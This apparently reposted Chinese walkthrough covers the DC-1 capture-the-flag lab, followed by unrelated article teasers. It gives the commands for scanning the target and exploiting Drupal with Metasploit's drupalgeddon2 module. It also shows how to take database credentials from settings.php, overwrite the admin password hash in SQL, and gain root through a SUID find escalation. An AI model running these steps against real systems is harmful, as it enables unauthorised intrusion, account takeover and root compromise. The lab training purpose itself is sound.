靶场练习 手把手教你通关DC系列 DC1

DC1靶场通关教程


文章目录

  • DC1靶场通关教程
  • 前言
  • 一、信息收集
    • 1.主机存活
    • 2.端口收集
    • 3.网页信息收集
    • 4.目录收集
      • 4.1 Nikto
      • 4.2 Dirb
    • 信息收集总结
  • 二、漏洞发现与利用
    • 1. 发现
    • 2. 利用
  • 三、Flag
    • Flag1
    • Flag2
    • Flag3
    • Flag4
    • Flag5(提权)


前言

在这里插入图片描述

本次使用的kali机的IP地址为192.168.243.131
DC1的地址为192.168.243.134


一、信息收集

1.主机存活

在这里插入图片描述

arp-scan -l 此命令是探测主机存活 sudo命令是令kali用户短暂拥有root用户权限,需要输入kali的密码
其中192.168.243.128是kali的IP地址,192.168.243.134是靶场的IP地址

2.端口收集

在这里插入图片描述

nmap -T4 -v 192.168.243.134该命令探测靶场开发的端口信息,可以看到其中开发端口有22、80、111

3.网页信息收集

在这里插入图片描述

火狐浏览器有Wappalyzer插件可以看框架、中间件、语言等功能

4.目录收集

这里使用两种查询方式

4.1 Nikto

在这里插入图片描述

nikto -h http://192.168.243.134

4.2 Dirb

在这里插入图片描述

dirb http://192.168.243.134

目录收集没有收集到可用信息,可以跳过这一步

信息收集总结

靶场IP地址为: 192.168.243.134
开放端口: 22/ssh 80/http 111/rpcbind
框架: cms Drupal 7
中间件: Apache 2.2.22
语言: php 5.4.45
操作系统: Debian

二、漏洞发现与利用

思路 通过信息收集到的内容去搜索网络已知漏洞

1. 发现

kali加载msf攻击载荷

在这里插入图片描述

search drupal搜索Drupal可以利用的漏洞

在这里插入图片描述

2. 利用

这里使用exploit/unix/webapp/drupal_drupalgeddon2

在这里插入图片描述

show options 查看需要配置的文件

在这里插入图片描述

Requiredyes为必须配置项,RHOSTS 为靶场的IP地址
set rhosts 192.168.243.134 添加目标地址

在这里插入图片描述

使用run运行,然后shell

在这里插入图片描述

python -c "import pty;pty.spawn('/bin/bash')" 为交互语句,方便使用

在这里插入图片描述

三、Flag

Flag1

查看当前文件夹的所有内容 ls -la

在这里插入图片描述

可以看到有一个flag1.txt文件
cat flag1.txt打开flag1.txt文件

在这里插入图片描述

Every good CMS needs a config file - and so do you. //每个好的CMS都需要一个配置文件——您也一样。

Flag2

flag1提示我们去找配置文件
find / -name settings.php

在这里插入图片描述

查看这个文件
cat /var/www/sites/default/settings.php

在这里插入图片描述

/**
 *
 * flag2
 * Brute force and dictionary attacks aren't the //暴力破解和字典攻击不是
 * only ways to gain access (and you WILL need access). //只有获得访问权限的方法(你将需要访问权限)。
 * What can you do with these credentials? //你能用这些证书做什么?
 *
 */

$databases = array (
  'default' => 
  array (
    'default' => 
    array (
      'database' => 'drupaldb',
      'username' => 'dbuser',
      'password' => 'R0ck3t',
      'host' => 'localhost',
      'port' => '',
      'driver' => 'mysql',
      'prefix' => '',
    ),
  ),
);

Flag3

flag2给出了数据库的账户和密码,我们可以直接登录查看
mysql -udbuser -pR0ck3t

在这里插入图片描述

查询数据库
show databases;

在这里插入图片描述

直接使用第二个表
use drupalbd;

在这里插入图片描述

查询库中的表
show tables;

在这里插入图片描述

在这里插入图片描述

我们查看users表中的内容

在这里插入图片描述

可以看到表中的内容是adminFred账户密码
admin | $S$DvQI6Y600iNeXRIeEMF94Y6FvN8nujJcEDTCP9nS5.i38jnEKuDR
Fred | $S$DWGrxef6.D0cwB5Ts.GlnLw15chRRWH2s1R3QBwC0EkvBQ/9TCGg
这个加密方式为hash(哈希),解密难度过大,我们可以通过password-hash.sh文件生成一个新密码
使用find命令查找文件

在这里插入图片描述

使用cat命令查看源码
cat /var/www/scripts/password-hash.sh

<?php

/**
 * Drupal hash script - to generate a hash from a plaintext password
 *
 * Check for your PHP interpreter - on Windows you'll probably have to
 * replace line 1 with
 *   #!c:/program files/php/php.exe
 *
 * @param password1 [password2 [password3 ...]]
 *  Plain-text passwords in quotes (or with spaces backslash escaped).
 */

if (version_compare(PHP_VERSION, "5.2.0", "<")) {
  $version  = PHP_VERSION;
  echo <<<EOF

ERROR: This script requires at least PHP version 5.2.0. You invoked it with
       PHP version {$version}.
\n
EOF;
  exit;
}

$script = basename(array_shift($_SERVER['argv']));

if (in_array('--help', $_SERVER['argv']) || empty($_SERVER['argv'])) {
  echo <<<EOF

Generate Drupal password hashes from the shell.

Usage:        {$script} [OPTIONS] "<plan-text password>"
Example:      {$script} "mynewpassword"

All arguments are long options.

  --help      Print this page.

  --root <path>

              Set the working directory for the script to the specified path.
              To execute this script this has to be the root directory of your
              Drupal installation, e.g. /home/www/foo/drupal (assuming Drupal
              running on Unix). Use surrounding quotation marks on Windows.

  "<password1>" ["<password2>" ["<password3>" ...]]

              One or more plan-text passwords enclosed by double quotes. The
              output hash may be manually entered into the {users}.pass field to
              change a password via SQL to a known value.

To run this script without the --root argument invoke it from the root directory
of your Drupal installation as

  ./scripts/{$script}
\n
EOF;
  exit;
}

$passwords = array();

// Parse invocation arguments.
while ($param = array_shift($_SERVER['argv'])) {
  switch ($param) {
    case '--root':
      // Change the working directory.
      $path = array_shift($_SERVER['argv']);
      if (is_dir($path)) {
        chdir($path);
      }
      break;
    default:
      // Add a password to the list to be processed.
      $passwords[] = $param;
      break;
  }
}

define('DRUPAL_ROOT', getcwd());

include_once DRUPAL_ROOT . '/includes/password.inc';
include_once DRUPAL_ROOT . '/includes/bootstrap.inc';

foreach ($passwords as $password) {
  print("\npassword: $password \t\thash: ". user_hash_password($password) ."\n");
}
print("\n");

php /var/www/scripts/password-hash.sh 123456
因为这是php文件,所以我们需要使用php

在这里插入图片描述

password: 123456 hash: $S$DPuVBKNPp4WAlPVEAVTPohYHAfrGfwS9Z05iG3InaYIKsrrO95AG
登录数据库,将生成的哈希值写入到数据库的users表中,替换adminFred的密码
update users set pass="$S$DPuVBKNPp4WAlPVEAVTPohYHAfrGfwS9Z05iG3InaYIKsrrO95AG" where name="admin" or name="Fred";

在这里插入图片描述在这里插入图片描述

使用刚刚更改的数据进行登录

在这里插入图片描述
在这里插入图片描述

找到fflag3文件

在这里插入图片描述

Special PERMS will help FIND the passwd - but you'll need to -exec that command to work out how to get what's in the shadow.//特殊的PERMS将帮助查找passwd -但是您需要-执行该命令才能知道如何获得阴影中的内容。

Flag4

根据flag3的提示让我们去看/etc/passwd文件

在这里插入图片描述

可以看到一个flag4,我们去到flag4目录

在这里插入图片描述

查看flag4.txt

在这里插入图片描述

Can you use this same method to find or access the flag in root?//您可以使用相同的方法来查找或访问根中的标志吗?
Probably. But perhaps it's not that easy.  Or maybe it is?//可能。但也许没那么容易。也许是这样

Flag5(提权)

根据flag4的提示,我们尝试去root目录

在这里插入图片描述

发现被拒绝访问了,查找一下当前用户可执行的文件
find / -perm -u=s -type f 2>/dev/null

在这里插入图片描述

发现有find,直接用find提权
find / -exec "/bin/bash" -p \;

在这里插入图片描述

现在去root目录

在这里插入图片描述

查看thefinalflag.txt文件
cat thefinalflag.txt

在这里插入图片描述

Well done!!!!
Hopefully you've enjoyed this and learned some new skills.
You can let me know what you thought of this little journeyby contacting me via Twitter - @DCAU7
//做得好! !
//希望你喜欢这篇文章,并学到了一些新技能。
//你可以通过推特@DCAU7联系我,让我知道你对这次小旅行的看法

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:/a/786981.html

如若内容造成侵权/违法违规/事实不符,请联系我们进行投诉反馈qq邮箱809451989@qq.com,一经查实,立即删除!

相关文章

倒计时 2 周!CommunityOverCode Asia 2024 IoT Community 专题部分

CommunityOverCode 是 Apache 软件基金会&#xff08;ASF&#xff09;的官方全球系列大会&#xff0c;其前身为 ApacheCon。自 1998 年以来&#xff0c;在 ASF 成立之前&#xff0c;ApacheCon 已经吸引了各个层次的参与者&#xff0c;在 300 多个 Apache 项目及其不同的社区中探…

给数组/对象添加一个(key-value)对象

需要将一个value值前面加上key值&#xff0c;放进数组/对象中 this.$set(res.data[0],type,1) this.$set( target, key, value ) target&#xff1a;要更改的数据源(可以是对象或者数组) key&#xff1a;要更改的具体数据 value &#xff1a;重新赋的值。 结果&#xff1a;…

05.C1W4.Machine Translation and Document Search

往期文章请点这里 目录 OverviewWhat you’ll be able to do!Learning Objectives Transforming word vectorsOverview of TranslationTransforming vectors Align word vectorsSolving for RFrobenius normFrobenius norm squaredGradient K nearest neighborsFinding the tr…

Open3D 点对面的ICP算法配准(精配准)

目录 一、概述 1.1核心思想 1.2实现步骤 二、代码实现 2.1关键函数 2.2完整代码 三、实现效果 3.1原始点云 3.2配准后点云 3.3计算数据 一、概述 基于点对面的ICP&#xff08;Iterative Closest Point&#xff09;配准算法是ICP的一种变体&#xff0c;它通过最小化源…

骏网一卡通之类的游戏卡有什么用?

感觉现在打端游的人越来越少了 而且游戏充值卡显得就很鸡肋&#xff0c;在家里整理东西&#xff0c;翻出来好多骏网一卡通&#xff0c;但是我又不打游戏 想着把这卡送给有需要的朋友&#xff0c;不然也是浪费&#xff0c;问了一圈送不出去 还好最后在收卡云上卖掉了&#xf…

H桥驱动器芯片详解

H桥驱动器芯片详解 上一篇文章讲解了H桥驱动器的控制原理&#xff0c;本文以汽车行业广泛应用的DRV8245芯片为例&#xff0c;详细讲解基于集成电路的H桥驱动器芯片。 1.概述 DRV824x-Q1系列器件是德州仪器&#xff08;TI&#xff09;的一款专为汽车应用设计的全集成H桥驱动器…

【本地docker启动私有大模型】

一、最终效果 中英文对话 生成代码 二、资源配置 本文选择的模型运行内存需要 4G&#xff0c;因此宿主机建议内存大于8G&#xff0c;CPU建议 6 核以上&#xff1b; 参考博主该mac配置可以相对流畅运行。只需要 CPU资源&#xff0c;不需要 GPU。 三、搭建步骤 启动docker容…

羊大师:探索羊奶奥秘,解锁免疫力提升新篇章

在浩瀚的自然界中&#xff0c;羊奶以其独特的营养价值和健康益处&#xff0c;悄然成为提升免疫力的新宠。自古以来&#xff0c;羊奶就被视为珍贵的滋补佳品&#xff0c;而今&#xff0c;随着科学的深入探索&#xff0c;其提升免疫力的奥秘正逐渐揭开面纱。 羊奶中富含的免疫球蛋…

MQTT教程--服务器使用EMQX和客户端使用MQTTX

什么是MQTT MQTT&#xff08;Message Queuing Telemetry Transport&#xff09;是一种轻量级、基于发布-订阅模式的消息传输协议&#xff0c;适用于资源受限的设备和低带宽、高延迟或不稳定的网络环境。它在物联网应用中广受欢迎&#xff0c;能够实现传感器、执行器和其它设备…

字典树(Tire树)

字典树(Tire树) 字典树是一种多叉树&#xff0c;又称为前缀树。核心思想是利用字符串的公共前缀。 字典树的根节点为空&#xff0c;从根节点到某一节点路径上的字符连接起来构成字符串&#xff0c;完整的字符串在链上而非结点上&#xff0c;一个节点的所有子节点都具有相同公…

用Vue3和Plotly.js绘制交互式3D散点图

本文由ScriptEcho平台提供技术支持 项目地址&#xff1a;传送门 使用 Plotly.js 创建 2D 密度图 应用场景介绍 密度图是一种可视化数据分布的图表&#xff0c;它显示了数据点的密度在不同区域的变化情况。在许多科学和工程领域中&#xff0c;密度图被广泛用于探索和分析数据…

产品经理/项目经理管理项目使用最多的12款项目软件对比

盘点不同行业、项目类型的下的12款主流的项目管理软件&#xff1a;PingCode、Worktile、Teambition、TAPD、广联达、Asana、Basecamp、Jira、Microsoft Project、ClickUp、Redmine、Trello。 在这个项目管理工具层出不穷的时代&#xff0c;选择一个合适的软件似乎成了一个令许多…

当CNN遇上Mamba,高性能与高效率通通拿下!

传统视觉模型在处理大规模或高分辨率图像时存在一定限制&#xff0c;为解决这个问题&#xff0c;研究者们就最近依旧火热的Mamba&#xff0c;提出了Mamba结合CNN的策略。 这种结合可以让Mamba在处理长序列数据时既能够捕捉到序列中的时间依赖关系&#xff0c;又能够利用CNN的局…

工业一体机为数字化工厂带来高效作业指导

随着工业4.0的浪潮席卷全球&#xff0c;数字化工厂的概念深入人心。在这一背景下&#xff0c;工业一体机作为数字化转型的重要一环&#xff0c;凭借其强大的功能和灵活的应用&#xff0c;为工厂实现高效作业指导提供了强大的助力。 一、工业一体机的优势&#xff1a;赋能数字化…

3102. 最小化曼哈顿距离——leetcode

给你一个下标从 0 开始的数组 points &#xff0c;它表示二维平面上一些点的整数坐标&#xff0c;其中 points[i] [xi, yi] 。 两点之间的距离定义为它们的曼哈顿距离。 请你恰好移除一个点&#xff0c;返回移除后任意两点之间的 最大 距离可能的 最小 值。 示例&#xff1…

计算机的核心工作机制

前言 本篇不介绍代码&#xff0c;主要是理解计算机的一些核心工作机制。想了解更多请跳转-->【【计算机科学速成课】[40集全/精校] - Crash Course Computer Science】 冯诺依曼体系结构 由计算机之父之一冯诺依曼提出的计算机内部构造的基本组成&#xff0c;而现在大多数…

向github远程仓库中push,要求使用token登录

Support for password authentication was removed on August 13, 2021. Please use a personal access token instead. 如上&#xff0c;当向github远程仓库push时&#xff0c;输入github的用户名和密码出现如上错误&#xff0c;要求使用token登录&#xff0c;此时只需要用户…

智慧光伏一站式解决方案

光伏电站智慧化管理平台&#xff0c;将现代先进的数字信息技术、通信技术、互联网技术、云计算技术、大数据挖掘技术与光伏技术高度融合而形成。可以满足光伏企业对电站的高发电量、低初始投资、低运维成本等需求&#xff0c;从开发到运维的25年生命周期内&#xff0c;实现高收…

短视频矩阵搭建,用云微客获客更方便

你的同行都爆单了&#xff0c;你还在问什么是矩阵&#xff1f;让我来告诉你。短视频矩阵是短视频获客的一种全新玩法&#xff0c;是以品牌宣传、产品推广为核心的一个高端布局手段&#xff0c;也是非常省钱的一种方式。 1.0时代&#xff0c;一部手机一个账号&#xff1b;2.0时代…

【多媒体】Java实现MP4和MP3音视频播放器【JavaFX】【更多功能的播放器】【音视频播放】

在Java中播放视频可以使用多种方案&#xff0c;最常见的是通过Swing组件JFrame和JLabel来嵌入JMF(Java Media Framework)或Xuggler。不过&#xff0c;JMF已经不再被推荐使用&#xff0c;而Xuggler是基于DirectX的&#xff0c;不适用于跨平台。而且上述方案都需要使用第三方库。…